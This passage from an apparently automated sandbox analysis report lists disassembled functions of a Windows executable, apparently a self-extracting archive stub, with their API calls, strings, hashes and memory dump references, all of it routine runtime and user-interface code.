Opcode ID: 572629b26729f5acd6adf267b75285b72339a413b75c08c3b0e75f4ed923bca2
Instruction ID: 6439a4b58fde64ff9595d9123ee9af9019be653b17bc9fe1b727744ea06d0f23
Opcode Fuzzy Hash: 572629b26729f5acd6adf267b75285b72339a413b75c08c3b0e75f4ed923bca2
Instruction Fuzzy Hash: B931F875108306ABC704DFA8C89599BB7F8FF98714F404A2EF999D3210E730D509CBA6

Function 00BC2AFA Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00BC2AF1,00BC02FC,00BBFA34), ref: 00BC2B08
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00BC2B16
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00BC2B2F
SetLastError.KERNEL32(00000000,00BC2AF1,00BC02FC,00BBFA34), ref: 00BC2B81

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 0601a62a8cc8bbd8cd15753439c3dc109a949faf0b44ccf02693f1a420a1164a
Instruction ID: d976b7b80473f375e9f43db84d56c373ec51d8450b238c4cf2ba4f3d35e8b242
Opcode Fuzzy Hash: 0601a62a8cc8bbd8cd15753439c3dc109a949faf0b44ccf02693f1a420a1164a
Instruction Fuzzy Hash: BF01D43210A712AEE6542B747C95F2A6BD9EB01F747A047BEF1245A0E1FF118C009254

Function 00BC97E5 Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,00BE1030,00BC4674,00BE1030,?,?,00BC3F73,00000050,?,00BE1030,00000200), ref: 00BC97E9
_free.LIBCMT ref: 00BC981C
_free.LIBCMT ref: 00BC9844
SetLastError.KERNEL32(00000000,?,00BE1030,00000200), ref: 00BC9851
SetLastError.KERNEL32(00000000,?,00BE1030,00000200), ref: 00BC985D
_abort.LIBCMT ref: 00BC9863

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: ErrorLast$_free$_abort
String ID:
API String ID: 3160817290-0
Opcode ID: 40b7f7055997c5cb71329cf4e06cb4a68c1538d41a8692ca533ac8fa3041f5bd
Instruction ID: 9fed498fb4b6d15d9c02f975efae21de5edbabd3b35c9eb27e07a1dd1296901b
Opcode Fuzzy Hash: 40b7f7055997c5cb71329cf4e06cb4a68c1538d41a8692ca533ac8fa3041f5bd
Instruction Fuzzy Hash: 99F0A43614160166E6523324BC6EF1B1BE5DFD2BB1F3501BDF525A71D2FE20CC018665

Function 00BBDC3B Relevance: 9.0, APIs: 6, Instructions: 42windowsynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,0000000A), ref: 00BBDC47
PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00BBDC61
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00BBDC72
TranslateMessage.USER32(?), ref: 00BBDC7C
DispatchMessageW.USER32(?), ref: 00BBDC86
WaitForSingleObject.KERNEL32(?,0000000A), ref: 00BBDC91

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: Message$ObjectSingleWait$DispatchPeekTranslate
String ID:
API String ID: 2148572870-0
Opcode ID: b9804b4e6a0f3b260673858df70302aed0069321a75dab89e15b3bac6ee0cb3c
Instruction ID: 78a12144b745fffa4e13cb91ee93bb530f315df3bce6f2b8c1d9f8103f0c3ff6
Opcode Fuzzy Hash: b9804b4e6a0f3b260673858df70302aed0069321a75dab89e15b3bac6ee0cb3c
Instruction Fuzzy Hash: 56F03C72A02219BBCB216BA5DC4CFDFBFADEF41795B004011B50AE2051E6798646CBA1

Function 00BAC0C5 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 148COMMON

Download Yara Rule

APIs

Part of subcall function 00BB05DA: _wcslen.LIBCMT ref: 00BB05E0

Part of subcall function 00BAB92D: _wcsrchr.LIBVCRUNTIME ref: 00BAB944

_wcslen.LIBCMT ref: 00BAC197
_wcslen.LIBCMT ref: 00BAC1DF

Strings

.rar, xrefs: 00BAC0E1, 00BAC134
.sfx, xrefs: 00BAC11A
.exe, xrefs: 00BAC10B

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: _wcslen$_wcsrchr
String ID: .exe$.rar$.sfx
API String ID: 3513545583-31770016
Opcode ID: 01652379f058de3e19146f10f89ed5c1e6be2bf02e21aaba18bbd4cd1f718565
Instruction ID: 0b045736a7b87cd6ff0e963b6642c0bd2732e6e710cbe882fd5357562d0aba9a
Opcode Fuzzy Hash: 01652379f058de3e19146f10f89ed5c1e6be2bf02e21aaba18bbd4cd1f718565
Instruction Fuzzy Hash: 1A412A2564831196C732AF748852E7BBBF4EF43B44F1449CEF9966B182FB904D85C391

Function 00BBCE87 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000800,?), ref: 00BBCE9D

Part of subcall function 00BAB690: _wcslen.LIBCMT ref: 00BAB696

_swprintf.LIBCMT ref: 00BBCED1

Part of subcall function 00BA4092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00BA40A5

SetDlgItemTextW.USER32(?,00000066,00BE946A), ref: 00BBCEF1
EndDialog.USER32(?,00000001), ref: 00BBCFFE

Strings

%s%s%u, xrefs: 00BBCEC6

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: DialogItemPathTempText__vswprintf_c_l_swprintf_wcslen
String ID: %s%s%u
API String ID: 110358324-1360425832
Opcode ID: b2b54a8ac1f6b08d536a6175bb42a1be18e75d1dd1cd4c2410cc92afd2823a40
Instruction ID: 38275589f743c46b60188ac80ae440e2e6a0fe2264bcd0cc99c298d2d91da5d0
Opcode Fuzzy Hash: b2b54a8ac1f6b08d536a6175bb42a1be18e75d1dd1cd4c2410cc92afd2823a40
Instruction Fuzzy Hash: 0C414DB1900259AADF21DB908C95EFE77FCEB05340F4080E6B909E7192EEB49A448F65

Function 00BABB03 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 127COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00BABB27
GetCurrentDirectoryW.KERNEL32(000007FF,?,?,?,?,00000000,?,?,00BAA275,?,?,00000800,?,00BAA23A,?,00BA755C), ref: 00BABBC5
_wcslen.LIBCMT ref: 00BABC3B

Strings

\\?\, xrefs: 00BABB52, 00BABB99, 00BABBF7, 00BABC4E
UNC, xrefs: 00BABBA7

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: _wcslen$CurrentDirectory
String ID: UNC$\\?\
API String ID: 3341907918-253988292
Opcode ID: 083d1341d56deab590882e2048c7034f7447a2576eabfb7bfea8119d6da22a3d
Instruction ID: e89c0ffceaa6183a7b8bfe5bcff9677875db6bfa8b885ccbf296be9484639b7f
Opcode Fuzzy Hash: 083d1341d56deab590882e2048c7034f7447a2576eabfb7bfea8119d6da22a3d
Instruction Fuzzy Hash: FE416231444215BACB21AF60CC45EFF7BE9EF467A0F1045E6F965A3153FBB0DA908A60

Function 00BBB6DD Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 58windowCOMMON

Download Yara Rule

APIs

LoadBitmapW.USER32(00000065), ref: 00BBB6ED
GetObjectW.GDI32(00000000,00000018,?), ref: 00BBB712
DeleteObject.GDI32(00000000), ref: 00BBB744
DeleteObject.GDI32(00000000), ref: 00BBB767

Part of subcall function 00BBA6C2: FindResourceW.KERNEL32(?,PNG,00000000,?,?,?,00BBB73D,00000066), ref: 00BBA6D5
Part of subcall function 00BBA6C2: SizeofResource.KERNEL32(00000000,?,?,?,00BBB73D,00000066), ref: 00BBA6EC
Part of subcall function 00BBA6C2: LoadResource.KERNEL32(00000000,?,?,?,00BBB73D,00000066), ref: 00BBA703
Part of subcall function 00BBA6C2: LockResource.KERNEL32(00000000,?,?,?,00BBB73D,00000066), ref: 00BBA712
Part of subcall function 00BBA6C2: GlobalAlloc.KERNELBASE(00000002,00000000,?,?,?,?,?,00BBB73D,00000066), ref: 00BBA72D
Part of subcall function 00BBA6C2: GlobalLock.KERNEL32(00000000), ref: 00BBA73E
Part of subcall function 00BBA6C2: CreateStreamOnHGlobal.COMBASE(00000000,00000000,?), ref: 00BBA762
Part of subcall function 00BBA6C2: GdipCreateHBITMAPFromBitmap.GDIPLUS(?,?,00FFFFFF), ref: 00BBA7A7
Part of subcall function 00BBA6C2: GlobalUnlock.KERNEL32(00000000), ref: 00BBA7C6
Part of subcall function 00BBA6C2: GlobalFree.KERNEL32(00000000), ref: 00BBA7CD

Strings

], xrefs: 00BBB71A

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: Global$Resource$Object$BitmapCreateDeleteLoadLock$AllocFindFreeFromGdipSizeofStreamUnlock
String ID: ]
API String ID: 1797374341-3352871620
Opcode ID: d9564c826ae7f8d967ceac652abcecf3245aa368bc282e5302f884e47ef05022
Instruction ID: 5713d809ba25806e04cdd360cca54e7b03219e177a1c365ec87e8512d652c941
Opcode Fuzzy Hash: d9564c826ae7f8d967ceac652abcecf3245aa368bc282e5302f884e47ef05022
Instruction Fuzzy Hash: B601AD369002016BC72267799C49FFF7AFAAFC0B56F190091B900A7291EFE18D0582A1

Function 00BBD600 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

Part of subcall function 00BA1316: GetDlgItem.USER32(00000000,00003021), ref: 00BA135A
Part of subcall function 00BA1316: SetWindowTextW.USER32(00000000,00BD35F4), ref: 00BA1370

EndDialog.USER32(?,00000001), ref: 00BBD64B
GetDlgItemTextW.USER32(?,00000068,00000800), ref: 00BBD661
SetDlgItemTextW.USER32(?,00000066,?), ref: 00BBD675
SetDlgItemTextW.USER32(?,00000068), ref: 00BBD684

Strings

RENAMEDLG, xrefs: 00BBD618

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: RENAMEDLG
API String ID: 445417207-3299779563
Opcode ID: 41edabf13cbd1f0af5f0c6d3b44be31e53aa596c9cd9f2dd84bc23fe406aa9c4
Instruction ID: 1eea9ac0aea701906623a5d32e210a072db1c1895ea0f6781ebcfee5ab8d4691
Opcode Fuzzy Hash: 41edabf13cbd1f0af5f0c6d3b44be31e53aa596c9cd9f2dd84bc23fe406aa9c4
Instruction Fuzzy Hash: 0201F133285214BBD2204F689D49FBB7BDCEB9AB01F020452F306A2090DAE69904CB79

Function 00BC7E73 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,00BC7E24,00000000,?,00BC7DC4,00000000,00BDC300,0000000C,00BC7F1B,00000000,00000002), ref: 00BC7E93
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00BC7EA6
FreeLibrary.KERNEL32(00000000,?,?,?,00BC7E24,00000000,?,00BC7DC4,00000000,00BDC300,0000000C,00BC7F1B,00000000,00000002), ref: 00BC7EC9

Strings

CorExitProcess, xrefs: 00BC7E9E
mscoree.dll, xrefs: 00BC7E8C

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 52e3ec53eaceea268676306c2998d4a4446d4a79c722f860092de1b1d9dbc716
Instruction ID: c2ccf2f9c4d35353609c96e3a5b080fa7fb9778e54bd0150ac87ccd1409ea632
Opcode Fuzzy Hash: 52e3ec53eaceea268676306c2998d4a4446d4a79c722f860092de1b1d9dbc716
Instruction Fuzzy Hash: 1AF03135941209BBCB119BA0DC19BAEFFF8EB44711F0040EAE805A3261EF709E40CA95

Function 00BAF2C5 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00BB081B: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00BB0836
Part of subcall function 00BB081B: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,00BAF2D8,Crypt32.dll,00000000,00BAF35C,?,?,00BAF33E,?,?,?), ref: 00BB0858

GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 00BAF2E4
GetProcAddress.KERNEL32(00BE81C8,CryptUnprotectMemory), ref: 00BAF2F4

Strings

CryptProtectMemory, xrefs: 00BAF2DE
CryptUnprotectMemory, xrefs: 00BAF2EA
Crypt32.dll, xrefs: 00BAF2CE

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: AddressProc$DirectoryLibraryLoadSystem
String ID: Crypt32.dll$CryptProtectMemory$CryptUnprotectMemory
API String ID: 2141747552-1753850145
Opcode ID: aafa88250a66a42e15a5b22d79cf1f72aee9f825bfc9e849ba26ef9991dee0dd
Instruction ID: ac47e26c9fe55e51c75d283c5e88b7c7b18b2f58dc23a8658c175f1eebe03da1
Opcode Fuzzy Hash: aafa88250a66a42e15a5b22d79cf1f72aee9f825bfc9e849ba26ef9991dee0dd
Instruction Fuzzy Hash: 29E02674A10702AECB209F74981CB56FBD4AF04F00F04C8AFF0CA93362EAB0D1408B21

Function 00BC2BDA Relevance: 7.7, APIs: 5, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00BC2CA1
___AdjustPointer.LIBCMT ref: 00BC2CC4
_abort.LIBCMT ref: 00BC2D12
___AdjustPointer.LIBCMT ref: 00BC2D60

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: AdjustPointer$_abort
String ID:
API String ID: 2252061734-0
Opcode ID: 15e954ff251b7dff567ae90fca624d56c44a2ec807a16c02df49f7208639fec8
Instruction ID: 9cdc9c729f5fee7e49f223c312a2acd4c4c81cc15e2a05b8c23c8b6d88156225
Opcode Fuzzy Hash: 15e954ff251b7dff567ae90fca624d56c44a2ec807a16c02df49f7208639fec8
Instruction Fuzzy Hash: A451B071600216AFDB299F18D885FBAB7E4FF64710F2445ADEC02476A1E731ED40DB90

Function 00BCBF30 Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00BCBF39
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00BCBF5C

Part of subcall function 00BC8E06: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,00BCCA2C,00000000,?,00BC6CBE,?,00000008,?,00BC91E0,?,?,?), ref: 00BC8E38

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 00BCBF82
_free.LIBCMT ref: 00BCBF95
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00BCBFA4

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
String ID:
API String ID: 336800556-0
Opcode ID: f8d2f8c4a94e996ee9eeb2cd739e01e24ba75b8716717fd7a48d53862c586b59
Instruction ID: b1d6fb4c2773f96f2a32c03a6d29f3590da0c1ebd942fa7319f3c98053fef3ff
Opcode Fuzzy Hash: f8d2f8c4a94e996ee9eeb2cd739e01e24ba75b8716717fd7a48d53862c586b59
Instruction Fuzzy Hash: D901D472A022127F2321167A5CAEE7FABEDDEC2FA171401ADF914D3201EF608D0195B1

Function 00BC9869 Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,00BE1030,00000200,00BC91AD,00BC617E,?,?,?,?,00BAD984,?,?,?,00000004,00BAD710,?), ref: 00BC986E
_free.LIBCMT ref: 00BC98A3
_free.LIBCMT ref: 00BC98CA
SetLastError.KERNEL32(00000000,00BD3A34,00000050,00BE1030), ref: 00BC98D7
SetLastError.KERNEL32(00000000,00BD3A34,00000050,00BE1030), ref: 00BC98E0

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: 1ed9a5cea203a33b4d88990f1e892e4577e0cd44b7b02ddf85ec880b4af7e2a9
Instruction ID: 8b37b9e761f96fa36876dfe06ebfc70e7b3aeddf3c643829af7f3169490f34f2
Opcode Fuzzy Hash: 1ed9a5cea203a33b4d88990f1e892e4577e0cd44b7b02ddf85ec880b4af7e2a9
Instruction Fuzzy Hash: 8001F4362466026BE3127768ACADF1B27E9DBD2BB073101BEF515A7192FE20CC015275

Function 00BB0EED Relevance: 7.5, APIs: 5, Instructions: 43COMMON

Download Yara Rule

APIs

Part of subcall function 00BB11CF: ResetEvent.KERNEL32(?), ref: 00BB11E1
Part of subcall function 00BB11CF: ReleaseSemaphore.KERNEL32(?,00000000,00000000), ref: 00BB11F5

ReleaseSemaphore.KERNEL32(?,00000040,00000000), ref: 00BB0F21
CloseHandle.KERNEL32(?,?), ref: 00BB0F3B
DeleteCriticalSection.KERNEL32(?), ref: 00BB0F54
CloseHandle.KERNEL32(?), ref: 00BB0F60
CloseHandle.KERNEL32(?), ref: 00BB0F6C

Part of subcall function 00BB0FE4: WaitForSingleObject.KERNEL32(?,000000FF,00BB1206,?), ref: 00BB0FEA
Part of subcall function 00BB0FE4: GetLastError.KERNEL32(?), ref: 00BB0FF6

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: CloseHandle$ReleaseSemaphore$CriticalDeleteErrorEventLastObjectResetSectionSingleWait
String ID:
API String ID: 1868215902-0
Opcode ID: 5213fff01d4e28c7a37e35cb1b01f5948fb965024cc61e9a3c95b12afa75b944
Instruction ID: 15cdf4d235dd55d0ca6aeea84a7e8ccd72dd7f1d34caa3ba72c1ed5e892434db
Opcode Fuzzy Hash: 5213fff01d4e28c7a37e35cb1b01f5948fb965024cc61e9a3c95b12afa75b944
Instruction Fuzzy Hash: 83017172501744EFC722AF64DC84BE6FBE9FB08B10F00096AF26B92161DBB57A45CB50

Function 00BCC7FF Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00BCC817

